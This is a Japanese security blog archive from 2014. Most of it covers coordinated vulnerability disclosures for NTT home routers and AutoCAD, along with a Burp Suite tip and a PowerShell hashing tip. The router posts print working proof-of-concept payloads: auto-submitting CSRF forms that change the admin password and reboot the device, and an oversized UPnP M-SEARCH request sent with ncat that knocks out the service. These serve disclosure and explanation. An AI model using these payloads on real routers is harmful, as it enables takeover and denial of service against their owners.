Hatena::ブログ(Diary)

思い立ったら書く日記

 

2014-11-29

Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6

| 16:07 | Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6を含むブックマーク

The following errors happened when I used Burp Suite Free Edition v1.6 with upstream proxy; @ posted an image of these errors. Thanks for @anshuman_bh and @, I have known solutions for the errors. And, I blogged this entry for someone who may face the errors.

Attempting to auto-select SSL parameters for <FQDN>
Failed to auto-select SSL parameters for <FQDN>
javax.net.SSLException: server certificate change is restricted during renegotiation
server certificate change is restricted during renegotiation

Solution

  • Use latest Burp Suite

Burp Suite v1.6.07 applied a workaround related to the errors by @Burp_Suite (tweet). If you use Burp Suite Free Edition, I use, you cannot update to date soon. Then you can do some workarounds.

Workarounds
  • Use Burp Suite without upstream proxy by @anshuman_bh (tweet)
  • Use Java 1.7_67 and earlier version; it is bad for security reason.
    • The errors happened with Java 1.7_71 .
    • I confirmed that it was not the errors Burp Suite with Java 1.7_67 .
  • Use Burp Suite with OWASP ZAP by @ and @ (tweet)
    • Burp Suite -> OWASP ZAP -> upstream proxy

2014-11-20

ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された

| 01:30 | ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されたを含むブックマーク

2012 年 12 月、ひかり電話ルータ「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されました。2011 年 9 月 26 日に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。取扱終了となった理由は、「RV-440MI」の脆弱性と同様でした。

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式)から再現手順を引用します。

2. 脆弱性関連情報
(snip)
  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:ひかり電話ルータ (RV-S340SE)
     バージョン:14.07
(snip)
  3) 脆弱性の種類
     クロスサイト・リクエスト・フォージェリ


  4) 再現手順
     RV-S340SE のウェブ管理インターフェイスに特定のパラメータと値
     を送信させるウェブページに、RV-S340SE にログインした利用者を
     誘導することでクロスサイト・リクエスト・フォージェリが再現で
     きます。

     この再現手順では、「RV-S340SE のウェブ管理インターフェイスの
     パスワードを変更させる」、「RV-S340SE を再起動させる」、2 つ
     の手順を示します。

     ■「RV-S340SE のウェブ管理インターフェイスのパスワードを変更させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(change password) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="loginpass_user_input">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="loginpass_user_pass" value="exploit">
     <input type="hidden" name="loginpass_user_passcfm" value="exploit">
     <input type="hidden" name="mbg_set" value="設定">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) 別のウェブブラウザから RV-S340SE にアクセスして認証する。
         このとき、パスワードには「exploit」を指定する。

         (2) でログインしたときのパスワードが (1) で指定したパス
         ワード「exploit」に変わっていることを確認できます。

     ■「RV-S340SE を再起動させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(Reboot) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="reboot">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="mbg_reboot_set" value="再起動">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) RV-S340SE が再起動することを確認できます。

報告から取扱終了までの時系列

手元に残っている記録をもとに時系列をまとめました。IPA から質問いただいた記録もないため、報告した後には取扱終了まで音沙汰がなかったと思います。

年月日事柄
2011/09/26IPA に脆弱性情報を報告
2012/12/10ファームウェア Ver.17.03 がリリース
2012/12/25ファームウェア Ver.17.04*1 がリリース
2014/10/21IPA から取扱終了の連絡をいただく。同日、取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1IPA からは「届出頂いた脆弱性に対する修正を実施したファームウェアを 2012 年 12 月にリリースした」と連絡いただきました。このことから、17.03 または 17.04 のどちらかで当該脆弱性が修正されたと判断しました。

2014-11-07

ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された

| 22:20 |  ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された を含むブックマーク

2014 年 7 月 7 日、ひかり電話ルータ「RV-440MI」における Portable SDK for UPnP の脆弱性(JVNVU#90348117)が修正されました。2013 年 2 月に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。

この日記では、この脆弱性について、次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • 脆弱性の再現手順
  • 取扱終了となった理由
  • 報告から取扱終了までの時系列

脆弱性を発見した経緯

Nmap の NSE スクリプト「upnp-info」を試用していたとき、当該脆弱性の可能性を確認しました。

2013 年 2 月 11 日の日記を書いた頃、UPnP を調べていました。この過程で「RV-440MI」に「upnp-info」を実行したところ、下記の結果*1を得ました。この Server ヘッダの「Intel SDK for UPnP devices/1.3.1」をみたところ、「ん?」と思いました。JVNVU#90348117VU#922681)の脆弱なバージョンに該当するのではないかと。

そこで、「Security Flaws in Universal Plug and Play」 p.17 の情報にもとづく単純な実証コードを試行したところ、当該製品の UPnP サービスが DoS 状態となりました。この結果から脆弱性の存在を確信して IPA に報告しました。

$>nmap -sU -p1900 --script=upnp-info.nse -n 192.168.0.1

Starting Nmap 6.25 ( http://nmap.org ) at 2013-02-04 02:09 東京 (標準時)
Nmap scan report for 192.168.0.1
Host is up (0.00s latency).
PORT     STATE SERVICE
1900/udp open  upnp
| upnp-info:
| 192.168.0.1
|     Server: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|     Location: http://192.168.0.1:49152/gatedesc.xml
|       Webserver: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|       Name: RV-440MI
(snip)
|_      Model Version:
MAC Address: 38:E0:8E:XX:XX:XX (Mitsubishi Electric Co.)

Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式はこちら)から再現手順、検証コードなどを引用します。なお、引用文の「RV-440MI_malformed-msearch.pcap」を Cloudshark にアップロードしました(こちら)。

  4) 再現手順
     (1) 8) の検証コードをテキストファイルに保存する。
         本手順では、「m-search_malformed.txt」とする。

     (2) Nmap 6.25 に同梱されている「ncat」を使って、検証コードを
         対象製品に送信する。

         $> ncat -u --send-only 239.255.255.250 1900 < m-search_malformed.txt
         または
         $> ncat -u --send-only 192.168.0.1 1900 < m-search_malformed.txt
         (192.168.0.1 は対象製品の IP アドレス)

     (3) Nmap にて 1900/udp にポートスキャンを実行すると、Nmap の
         実行結果が closed となっていることが確認できます。

         $> nmap -sU -p 1900 -n 192.168.0.1

         実際には対象製品から ICMP Port Unreachable という応答が
         返ってきています。

     (2) でマルチキャスト宛に M-SEARCH リクエストを送信した結果、
     および (3) のポートスキャンの結果をパケットキャプチャファイ
     ルに保存しました。
     添付ファイル:RV-440MI_malformed-msearch.pcap

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに

     4) 再現手順の (2) を 1 回送信しただけでは、(3) の結果が得ら
     れない場合がありましたが、2,3 回送信することで再現すること
     を確認しています。

(snip)

  8) 検証コード
     この検証コードは、Rapid7 社「Security Flaws in Universal Plug
     and Play」p.17 に記載されているコードを基に作成しました。
     https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf

--- ここから ----------------------------------------------------
M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:anything
Man:"ssdp:discover"
MX:3

--- ここまで ----------------------------------------------------

取扱終了となった理由

2014 年 10 月 14 日、IPA から「製品開発者が全ての製品利用者を把握しており本制度の適用範囲に該当せず、かつ全ての製品利用者への対策が完了しているため、本件の取扱いを終了」するとの連絡をいただきました。このとき、情報セキュリティ早期警戒パートナーシップガイドラインの該当箇所も提示いただきました(下記参照)。

すでに脆弱性が修正されており、反論する根拠もなかったため、僕は取扱終了に同意しました。

  III.本ガイドラインの適用の範囲
   本ガイドラインの適用の範囲は、脆弱性により不特定多数の人々に
   被害を及ぼすもので、以下に挙げるものを想定しています。

  IV.ソフトウエア製品に係る脆弱性関連情報取扱
   3.IPA および JPCERT/CC の対応
    (1) IPA
      7) 脆弱性関連情報受理後の対応
      IPA は、JPCERT/CC に通知した脆弱性関連情報に関して、以下の
      いずれかに該当する場合、発見者に連絡するとともに、処理を取
      りやめることがあります

      (ウ) 製品開発者がすべての製品利用者に通知する場合(システム
           構築事業者を介して通知するケースを含む

報告から取扱終了までの時系列

年月日事柄
2013/02/05IPA に脆弱性情報を報告
2013/02/07IPA から脆弱性情報を受理したとの連絡をいただく
2013/05/13IPA から脆弱性情報に関する質問をいただく。同日、質問に回答
2014/07/07ファームウェア Ver.06.01.0019 がリリース
2014/07/09ファームウェア Ver.06.01.0019 で事象が再現しないことを確認
2014/07/10IPA に対応状況を質問
2014/07/25IPA から「Ver.06.01.0019で脆弱性が修正されたこと」を連絡いただく。また「製品開発者は当該製品の利用者を全て把握していること」をふまえて、届出の取扱いを検討するとのこと
2014/09/11IPA に検討状況を確認
2014/09/12IPA および JPCERT/CC にて製品開発者からの「全ての利用者を把握している」正式な連絡内容を確認しているとのこと
2014/10/14IPA から取扱終了の連絡をいただく
2014/10/19取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1:MAC アドレスの下位 3 バイトを XX:XX:XX でマスクしました。

2014-02-23

AutoCADの脆弱性CVE-2014-0818, CVE-2014-0819が修正された

| 17:44 | AutoCADの脆弱性CVE-2014-0818, CVE-2014-0819が修正されたを含むブックマーク

2014年2月21日、AutoCAD の脆弱性 CVE-2014-0818(JVN#33382534), CVE-2014-0819(JVN#43254599)が修正されたことが公表されました。この日記では、これらの脆弱性について次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • IPA への脆弱性届出情報(抜粋)
  • 脆弱性を修正したバージョンにおける再現手順の実施結果
  • 報告から修正までの時系列

[Update Mar 19, 2014]

I wrote up a summary of this post in English and submitted to Packet Storm.

脆弱性を発見した経緯

まず、僕が直接 CVE-2014-0818(JVN#33382534)を発見したわけではありません。発見者よりは報告者という表現が適切です。

2012 年 6 月、ESET が AutoCAD の AutoLISP で書かれたワーム「ACAD/Medre.A」のブログ記事を公開しました。このブログ記事では、「ACAD/Medre.A」が感染するために AutoLisp コードの自動読み込み機能を悪用していることを説明していました。このとき、僕は読み込む AutoLisp コードを決定する探索パスに疑問を持ちました。そして、AutoCAD の公式ドキュメントを読むと、ファイル名だけ指定された場合に、まずカレントディレクトリを探索することを確認できました。

そこで、ESET のブログ記事をもとに実証コードを作成したうえで、「ACAD/Medre.A」の感染原因を「ファイル探索パスに関する脆弱性」として IPA に報告しました。なお、報告内容をまとめる過程で、DLL 読み込みに関する脆弱性の可能性も確認できたため、これもあわせて報告しました。

IPA への脆弱性届出情報(抜粋)

IPA への脆弱性届出情報(様式はここを参照)のうち、「2. 脆弱性関連情報」と「6. その他」を抜粋します。この抜粋した情報には、JVN#33382534 に関連する AutoCAD 公式ドキュメントへのリンクや再現手順などを含みます。日記に転載するうえで【】の記述を加筆しましたが、それ以外は原文のままです。

======================================================================
(抜粋)

2. 脆弱性関連情報

  1) この脆弱性関連情報の入手先
     □ 自分で発見した    □ 人から入手した
     ■ ウェブサイトから入手した
        (http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2)

  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:AutoCAD 2013
     バージョン:G.55.0.0
     パッチレベル:-
     言語:日本語
     設定情報:-

  3) 脆弱性の種類
     ファイル探索パスに関する脆弱性
     (CWE-427: http://cwe.mitre.org/data/definitions/427.html)

  4) 再現手順
     (1) 「AutoCAD 2013」を起動して、AutoCAD 2013 図面ファイル
         「Drawing1.dwg」を作成する。この「Drawing1.dwg」と検証
         コード「Acad.fas」を同じフォルダに保存しておく。
         (添付ファイル:AutoCAD2013_exploit01.png)【後述】

     (2) 「Drawing1.dwg」をダブルクリックで開く。このとき、別途
         「Process Monitor」も起動しておく。

     (3) 「AutoCAD 2013」が起動すると同時に、電卓プログラム(calc.exe)
         が起動してしまう。
         (添付ファイル:AutoCAD2013_exploit02.png)【後述】

         (2) の「Process Monitor」の結果を確認すると、「Drawing1.dwg」
         と同じフォルダに保存した「Acad.fas」が読み込まれているこ
         とが分かります。
         (添付ファイル:AutoCAD2013_exploit03.png)【後述】

         さらに「Process Monitor」の [Event Properties] - [Stack] で
         確認したところ、accore.dll のコードが「Acad.fas」を読み込ん
         でいるようです。
         (添付ファイル:AutoCAD2013_exploit03-2.png)【後述】

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに
     補足説明(バージョンによる、言語による、などを記入)

  6) 脆弱性により発生しうる脅威
     第三者が用意した FAS ファイル(*)が読み込まれることで、任意の
     VBScript が実行されてしまう恐れがあります。本届出の情報入手
     先にあるように、実際にマルウェア「ACAD/Medre.A」が本届出情報
     を悪用したようです。

     (*) コンパイルされた AutoLisp コード
         http://exchange.autodesk.com/autocadmechanical/jpn/online-help/AMECH_PP/2012/jpn/pages/WS73099cc142f4875516d84be10ebc87a53f-7bc0.htm

  7) 回避策
     ・運用における回避策(現実的には難しい)
     「AutoCAD 2013」に関連付いたファイルをダブルクリックで開くと
     きに、同じフォルダに FAS ファイルがないことを確認する。

  8) 検証コード
     http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2
     を参考に次の AutoLisp コードを書きました。
----- ここから ----------------------
【日記に掲載する上で削除しました】
----- ここまで ----------------------

     上記コードを「exploit.lsp」というファイル名で保存しました。

     この「exploit.lsp」を下記の情報を基にコンパイルして、「Acad.fas」
     という FAS ファイルを作成しました。
     http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-787d.htm

     具体的には、「AutoCAD 2013」の [管理]メニューから Visual LISP
     エディタを起動して、Visual LISP Console にて、以下のコマンドを
     実行します(「exploit.lsp」を C:\exploit フォルダに保存してい
     るという前提です)。
     (vlisp-compile 'st "c:/exploit/exploit.lsp" "c:/exploit/Acad.fas")

  9) その他
     ・バージョンについては、[AutoCAD 2013 バージョン情報]メニュー
       で確認しました。
       (添付ファイル:AutoCAD2013_version.png)
       【日記には掲載しません】

     ・本届出と類似した脆弱性としては、CVE-2011-3360 があります。
       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-3360
       http://www.exploit-db.com/exploits/18125/

     ・AutoCAD ドキュメントの「load」関数の説明によると、
       FAS ファイルのみ指定された場合、「AutoCAD 2013」は
       まずカレントディレクトリを探索するようです。
       http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-7872.htm

(抜粋)

6. その他

  4) 再現手順の「Process Monitor」の結果を確認したところ、
  「AutoCAD 2013」には DLL 読み込みに関する脆弱性も存在している
  可能性があります。

  添付ファイル「AutoCAD_exploit.zip」の AutoCAD_exploit.PML を
  「Process Monitor」で開き、DLL の読み込み状況をご確認ください。
  【日記には掲載しません】
======================================================================

f:id:kaito834:20140222203210p:image:w420:h258

AutoCAD2013_exploit01.png


f:id:kaito834:20140222203211p:image:w420:h258

AutoCAD2013_exploit02.png


f:id:kaito834:20140222203212p:image:w387:h254

AutoCAD2013_exploit03.png


f:id:kaito834:20140222203213p:image:w387:h285

AutoCAD2013_exploit03-2.png

脆弱性を修正したバージョンにおける再現手順の実施結果

脆弱性が修正された「AutoCAD 2014」の体験版で、IPA への脆弱性届出情報 2.4) 再現手順を実施してみました*1。すると、「AutoCAD 2014」が起動すると、次の警告ダイアログウインドウが表示されました。このウインドウにて [ロードしない](初期選択)を選択すると、acad.FAS のコードが実行されずに「Drawing1.dwg」が表示されました。一方、[ロードする] を選択すると、定番の電卓プログラム(calc.exe)が起動しました。

レジストリを探索しても、AutoCAD 2013 Service Pack 1 で導入された AUTOLOAD および AUTOLOADPATH パラメータを確認できなかったこともふまえると、AutoLisp コードの自動読み込み機能を維持しつつ、(危険性のある)コードの実行可否を利用者に委ねることで、脆弱性を解消したと理解しました。

f:id:kaito834:20140223161819p:image:w278:h105

報告から公表までの時系列

IPA に脆弱性を報告してから、脆弱性が公表されるまでの時系列を下表にまとめました。

年月日事柄
2012年7月3日IPA に AutoCAD の脆弱性を報告した。同日、IPA から「脆弱性情報を受信したこと」を連絡いただいた。
2012年8月6日IPA から、「報告した脆弱性情報を脆弱性として受理したこと」および「脆弱性情報を開発者に通知したこと」を連絡いただいた。
2012年8月*2Autodesk 社がセキュリティ制御を実装した AutoCAD 2013 Service Pack 1(SP1)*3 を公開した。
2013年4月4日IPA に報告した脆弱性の対応状況を問い合わせた。
2013年4月18日IPA から「問題を一部修正したバージョン(Service Pack) を提供しており、現在も対応中」との回答をいただいた(このとき、僕は SP1 の存在を知りました)。
2013年5月11日IPA に「『FAS ファイルのファイル探索パスに関する脆弱性』(CVE-2014-0818)の修正を完了しており、現在『DLL 読み込みに関する脆弱性』(CVE-2014-0819)を修正している状況か」確認した。
2013年5月22日IPA から「『FAS ファイルのファイル探索パスに関する脆弱性』と『DLL 読み込みに関する脆弱性』どちらも対応中」との回答をいただいた。
2013年8月22日IPA に「AutoCAD の脆弱性 CVE-2013-3665 が報告した脆弱性に該当するか」問い合わせた。
2013年9月4日IPA から「Autodesk 社に(8月22日の)問い合わせ内容を確認中である」との報告をいただいた。
2013年9月中旬*4IPA から「報告した脆弱性と CVE-2013-3665 は別の脆弱性である」との回答をいただいた。
2014年2月21日IPA から「CVE-2014-0818(JVN#33382534), CVE-2014-0819(JVN#43254599)を公表したこと」を連絡いただいた。

さいごに

脆弱性を修正いただいた Autodesk 社、報告から修正および公表まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

更新履歴

更新日更新内容
2014年2月23日作成(ウェブ魚拓
2014年3月19日Packet Storm のリンクを追記

*1:「AutoCAD 2014」の動作環境は、Windows 7 Service Pack1 です。

*2「Without A Net」の記事の公開日をもとに、2012年8月に公開されていたと判断しました。

*3「Without A Net」の記事のコメントによると、SP1 が公開された後で、多数のバグを修正した SP1.1 が公開されたようです。

*4:2013 年 9 月中旬頃に IPA からメールをいただいていると思いますが、当該メールが見つかりませんでした...

2014-02-08

PowerShellを使って、右クリックメニューでファイルのハッシュ値を算出する

| 23:17 | PowerShellを使って、右クリックメニューでファイルのハッシュ値を算出するを含むブックマーク

Windows でファイルのハッシュ値を算出するとき、僕は「HashTab」をよく使っています。しかし、セキュリティポリシー等で使用するソフトウェアに制約があり、「HashTab」(や他のハッシュ値算出ツール)を(ポリシー上)使えないときがあります。そこで、Windows 7 から標準搭載された PowerShell を使い、ファイルの右クリックメニューからファイルのハッシュ値を算出する方法を調べました。

この日記では、Windows のレジストリを編集します。レジストリを誤って編集してしまうと、Windows の動作に問題が生じる恐れがあります(参考:Microsoft サイトにおける警告)。そのリスクを理解したうえで実践してください。

動作確認環境

下表の Windows, PowerShell の組み合わせで、後述の 2 点を確認しました。

WindowsPowershell*1
Windows 8Powershell 3.0
Windows 7 SP1Powershell 2.0
  • エラーが出ずに実行できること
  • 算出した SHA1 ハッシュ値が「HashTab」で算出したものと一致すること
    • "C:\Program Files\TrueCrypt\TrueCrypt.exe"

右クリックメニューに「ファイルのハッシュ値を算出する」ワンライナーを追加する

レジストリエディタ「regedit」を起動して、次のようにレジストリを編集します。「SHA1ハッシュ算出」は任意の文字列で構いません。この文字列が右クリックメニュー名となります。

  • HKEY_CLASSES_ROOT\*\shell 以下に 2 つのキーを追加する。
    • SHA1ハッシュ算出
    • SHA1ハッシュ算出\command
  • HKEY_CLASSES_ROOT\*\shell\SHA1ハッシュ算出\command の (既定) を編集する。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -command "& { $w=(Get-Host).UI.RawUI.WindowSize; $b=(Get-Host).UI.RawUI.BufferSize; $b.Width=120; $w.Width=120; $w.Height=10; (Get-Host).UI.RawUI.BufferSize=$b; (Get-Host).UI.RawUI.WindowSize=$w; $f=(gi """"%1""""); [string]::concat($f.FullName, ': '); [string]::concat(([security.cryptography.SHA1]::create().computehash($f.openread())|%%{$_.tostring('X2')})); '' }"

レジストリを編集すると、下図のようになります。

f:id:kaito834:20140208162552p:image:w578:h164


この右クリックメニューで、TrueCrypt.exe の SHA1 ハッシュ値を算出すると、下図のようになります。このハッシュ値を「HashTab」で算出したものと比較すると一致しました。

f:id:kaito834:20140208163323p:image:w622:h136


「ファイルのハッシュ値を算出する」ワンライナーの補足

この日記のワンライナーは、http://z.apps.atjp.jp/memo/powershell.htmlワンライナーに、PowerShell コンソールのウインドウサイズの変更処理を加えたものです。

TechNet の記事をもとに、PowerShell コンソールのウインドウサイズを変更します。当該記事では、WindowSize オブジェクトの Width, Height プロパティだけを変更していますが、この 2 つに加えて BufferSize オブジェクトの Width プロパティも変更します。僕の Windows 7 環境で BufferSize オブジェクトの Width プロパティを変更しなかった場合、次のエラーが出力されました。そこで、BufferSize オブジェクトの Width プロパティも変更しています。

"WindowSize" の設定中に例外が発生しました: "ウインドウの幅は画面バッファーの幅を上回ることができません。
パラメータ名: value.Width
実際の値は 120 です。"
(以下、略)

[2014年3月21日追記] Get-FileHash コマンドレットをワンライナーに使う

Powershell 4.0 には、ハッシュ値を算出する「Get-FileHash」コマンドレットが導入されました(このブログ記事で知りました)。

A new cmdlet, Get-FileHash, that returns a file hash in one of several formats for a specified file, has been added.

What’s New in Windows PowerShell

Windows 8.1 には Powershell 4.0 が標準で搭載されているため*2、「Get-FileHash」コマンドレットを使って、下記のワンライナーも書けます。この右クリックメニューで、TrueCrypt.exe の SHA1 ハッシュ値を算出すると、下図のようになります。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -command "& { $w=(Get-Host).UI.RawUI.WindowSize; $w.Width=120; $w.Height=10; (Get-Host).UI.RawUI.WindowSize=$w; Get-FileHash """"%1"""" -Algorithm SHA1 | Format-List; }"

f:id:kaito834:20140321214829p:image:w626:h140

まとめ

イケてる出力結果ではありませんが、ひとまず目標を達成できました。Windows 標準環境でもっとよいハッシュ値の算出方法があるよー、という方は教えていただけると嬉しいです。

関連情報

更新履歴

更新日更新内容
2014年2月8日作成(ウェブ魚拓
2014年3月21日「Get-FileHash」コマンドレットを使う方法を追記

*1:$PSVersionTable の PSVersion を確認しました。

*2:「Windows 8.1 Frequently Asked Questions」の General - "Are there any new features in Windows PowerShell?" を参照してください。